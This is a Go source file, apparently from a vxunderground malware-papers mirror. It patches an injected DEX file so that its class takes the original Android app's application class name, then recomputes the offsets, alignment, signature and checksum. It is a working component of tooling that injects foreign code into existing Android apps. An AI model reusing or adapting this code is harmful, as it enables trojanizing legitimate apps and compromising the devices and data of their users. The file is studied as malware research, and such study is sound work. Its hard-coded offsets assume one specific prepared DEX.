mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2024-07-05 09:31:31 +00:00
210 lines
6.9 KiB
Go
210 lines
6.9 KiB
Go
package mydex
|
|
|
|
import (
|
|
"bytes"
|
|
"common"
|
|
"crypto/sha1"
|
|
"encoding/binary"
|
|
"hash/adler32"
|
|
"io/ioutil"
|
|
"log"
|
|
"manifest"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
|
|
const (
|
|
// DEX structure offsets
|
|
fileSizeOff = 0x20
|
|
mapOff = 0x34
|
|
dataSizeOff = 0x68
|
|
signatureOff = 0x20
|
|
checksumOff = 0xc
|
|
stringIdsCount = 0x3 //how many stringIds we should change
|
|
classDataOffOff = 0xe4 //map->class_def_item->class_data_off
|
|
classDataItemOffOff = 0x29c //map->class_data_item->offset
|
|
annotationOffItemOff = 0x2a8 //map->annotation_set_item->entries->annotation_off_item
|
|
mapListOffOff = 0x2b4 //map->map_list->offset
|
|
posStringIdsChangedOff = 0x84
|
|
)
|
|
|
|
// this name is patched so we should make it
|
|
// as short as possible
|
|
//var placeholder = "La/a/a;"
|
|
var placeholder = "Lz/z/z;"
|
|
var placeholderLength = len(placeholder) + 1
|
|
var placeholderOff int
|
|
var dexPath, _ = filepath.Abs("InjectedApp.dex")
|
|
var dexPathNew, _ = filepath.Abs("InjectedApp_patched.dex")
|
|
|
|
// SHA-1 signature (hash) of the rest of the file (everything but magic, checksum, and this field); used to uniquely identify files
|
|
func patchSignature(data []byte) {
|
|
|
|
signature := sha1.Sum(data[signatureOff:])
|
|
|
|
log.Printf("New DEX Signature = %x\n", signature)
|
|
|
|
// patch signature
|
|
for i := 0; i < 20; i++ {
|
|
data[0xc+i] = signature[i]
|
|
}
|
|
}
|
|
|
|
// adler32 checksum of the rest of the file (everything but magic and this field); used to detect file corruption
|
|
func patchChecksum(data []byte) {
|
|
checksum := adler32.Checksum(data[checksumOff:])
|
|
|
|
log.Printf("New DEX Checksum = %x\n", checksum)
|
|
|
|
// patch checksum
|
|
binary.LittleEndian.PutUint32(data[0x8:], checksum)
|
|
}
|
|
|
|
// Yes, dex uses sleb and uleb data types not uint32
|
|
// But we use our predictable DEX so we can ignore it
|
|
|
|
// What is changed in DEX after patching parent class?
|
|
// DEX format doc: https://source.android.com/devices/tech/dalvik/dex-format
|
|
/*
|
|
header_item->checksum
|
|
header_item->signature
|
|
header_item->file_size
|
|
header_item->map_off
|
|
header_item->data_size
|
|
string_id_item->string_data_off
|
|
map->class_def_item->class_data_off
|
|
string_data_item->utf16_size
|
|
map->class_data_item->offset
|
|
map->annotation_set_item->entries->annotation_off_item
|
|
map->map_list->offset
|
|
|
|
*/
|
|
// Do not forget about alignment of some structures!
|
|
|
|
func Patch() {
|
|
|
|
data, err := ioutil.ReadFile(dexPath)
|
|
if err != nil {
|
|
log.Panicf("DEX Failed to read %s", dexPath)
|
|
}
|
|
|
|
// calc offset to placeholder
|
|
placeholderOff = bytes.Index(data, []byte(placeholder))
|
|
|
|
log.Printf("placeholderOff = 0x%x\n", placeholderOff)
|
|
|
|
// we should add "L" and ";", and convert "."->"/" to be a normal DEX string
|
|
//tmpName := "z.z.zzzzzzzzzzzzzzzz"
|
|
oldAppNameNormalized := "L" + strings.ReplaceAll(manifest.OldAppNameUTF8, ".", "/") + ";"
|
|
//oldAppNameNormalized := "L" + strings.ReplaceAll(tmpName, ".", "/") + ";"
|
|
newAppName := oldAppNameNormalized + "\x00"
|
|
|
|
// patch string len (string_data_item->utf16_size)
|
|
// -1 - it's a position of len before every string in dex
|
|
data[placeholderOff - 1] = uint8(len(oldAppNameNormalized))
|
|
|
|
// how many bytes we added to DEX?
|
|
var sizeDiff uint32
|
|
sizeDiff = uint32(len(newAppName) - placeholderLength)
|
|
log.Printf("sizeDiff =0x%x", sizeDiff)
|
|
|
|
// how many align bytes we should add
|
|
var alignCount uint32
|
|
alignCount = 4 - (sizeDiff % 4)
|
|
|
|
if alignCount == 4 {
|
|
alignCount = 0
|
|
}
|
|
log.Printf("alignCount = 0x%x", alignCount)
|
|
|
|
// patch mapOff (header_item->map_off)
|
|
var oldMapOff uint32
|
|
oldMapOff = binary.LittleEndian.Uint32(data[mapOff:])
|
|
newMapOff := oldMapOff + sizeDiff + alignCount
|
|
binary.LittleEndian.PutUint32(data[mapOff:], newMapOff)
|
|
log.Printf("old mapOff = 0x%0x | new mapOff = 0x%0x\n", oldMapOff, newMapOff)
|
|
|
|
// patch datasize (header_item->data_size)
|
|
var oldDataSize uint32
|
|
oldDataSize = binary.LittleEndian.Uint32(data[dataSizeOff:])
|
|
newDataSize := oldDataSize + sizeDiff + alignCount
|
|
binary.LittleEndian.PutUint32(data[dataSizeOff:], newDataSize)
|
|
log.Printf("old dataSize = 0x%0x | new dataSize = 0x%0x\n", oldDataSize, newDataSize)
|
|
|
|
// patch stringIds (string_id_item->string_data_off)
|
|
// stringIds - table of offsets to strings
|
|
// offsets counted from the start (0x0)
|
|
// posStringIdsChangedOff - position in our DEX from which we start changing
|
|
|
|
// we hardcoded it because we use our predictable DEX
|
|
var oldId uint32
|
|
stringIdsReader := bytes.NewReader(data[posStringIdsChangedOff:])
|
|
|
|
j := 0
|
|
|
|
for i := 0; i < stringIdsCount; i++ {
|
|
|
|
err = binary.Read(stringIdsReader, binary.LittleEndian, &oldId)
|
|
if err != nil {
|
|
log.Panic("Failed to read stringId", err)
|
|
}
|
|
|
|
newId := oldId + sizeDiff
|
|
binary.LittleEndian.PutUint32(data[posStringIdsChangedOff + j:], newId)
|
|
j += 4
|
|
}
|
|
|
|
// patch map->class_def_item->class_data_off (4 byte)
|
|
classDataOff := binary.LittleEndian.Uint32(data[classDataOffOff:])
|
|
newClassDataOff := classDataOff + sizeDiff
|
|
binary.LittleEndian.PutUint32(data[classDataOffOff:], newClassDataOff)
|
|
|
|
log.Printf("off = 0x%x | classDataOff = 0x%x | newClassDataOff = 0x%x",
|
|
classDataOffOff, classDataOff, newClassDataOff)
|
|
|
|
// patch map->class_data_item->offset (dont apply alignment)
|
|
classDataItemOff := binary.LittleEndian.Uint32(data[classDataItemOffOff:])
|
|
newClassDataItemOff := classDataItemOff + sizeDiff
|
|
binary.LittleEndian.PutUint32(data[classDataItemOffOff:], newClassDataItemOff)
|
|
log.Printf("off = 0x%x | classDataItemOff = 0x%x | newClassDataItemOff = 0x%x",
|
|
classDataItemOffOff, classDataItemOff, newClassDataItemOff)
|
|
|
|
// patch map->annotation_set_item->entries->annotation_off_item
|
|
annotationOffItem := binary.LittleEndian.Uint32(data[annotationOffItemOff:])
|
|
newAnnotationOffItem := annotationOffItem + sizeDiff + alignCount
|
|
binary.LittleEndian.PutUint32(data[annotationOffItemOff:], newAnnotationOffItem)
|
|
log.Printf("off = 0x%x | annotationOffItem = 0x%x | newAnnotationOffItem = 0x%x",
|
|
annotationOffItemOff, annotationOffItem, newAnnotationOffItem)
|
|
|
|
//patch map->map_list->offset
|
|
mapListOff := binary.LittleEndian.Uint32(data[mapListOffOff:])
|
|
newMapListOff := mapListOff + sizeDiff + alignCount
|
|
binary.LittleEndian.PutUint32(data[mapListOffOff:], newMapListOff)
|
|
log.Printf("off = 0x%x | mapListOff = 0x%x | newMapListOff = 0x%x",
|
|
mapListOffOff, mapListOff, newMapListOff)
|
|
|
|
// from now we start patching second half of DEX (after array of strings)
|
|
// but first we need to insert alignment bytes
|
|
if alignCount != 0 {
|
|
var alignSlice = make([]byte, alignCount)
|
|
var alignPos uint32 = 0x220
|
|
// insert byte alignment
|
|
data = append(data[:alignPos], append(alignSlice, data[alignPos:]...)...)
|
|
}
|
|
|
|
// insert new parent application name
|
|
data = append(data[:placeholderOff], append([]byte(newAppName), data[placeholderOff + placeholderLength:]...)...)
|
|
|
|
// patch new fileSize (header_item->file_size)
|
|
var fileSize = uint32(len(data))
|
|
binary.LittleEndian.PutUint32(data[fileSizeOff:], fileSize)
|
|
|
|
log.Printf("fileSize = 0x%x", fileSize)
|
|
|
|
patchSignature(data[0:])
|
|
patchChecksum(data[0:])
|
|
|
|
common.WriteChanges(data, dexPathNew)
|
|
}
|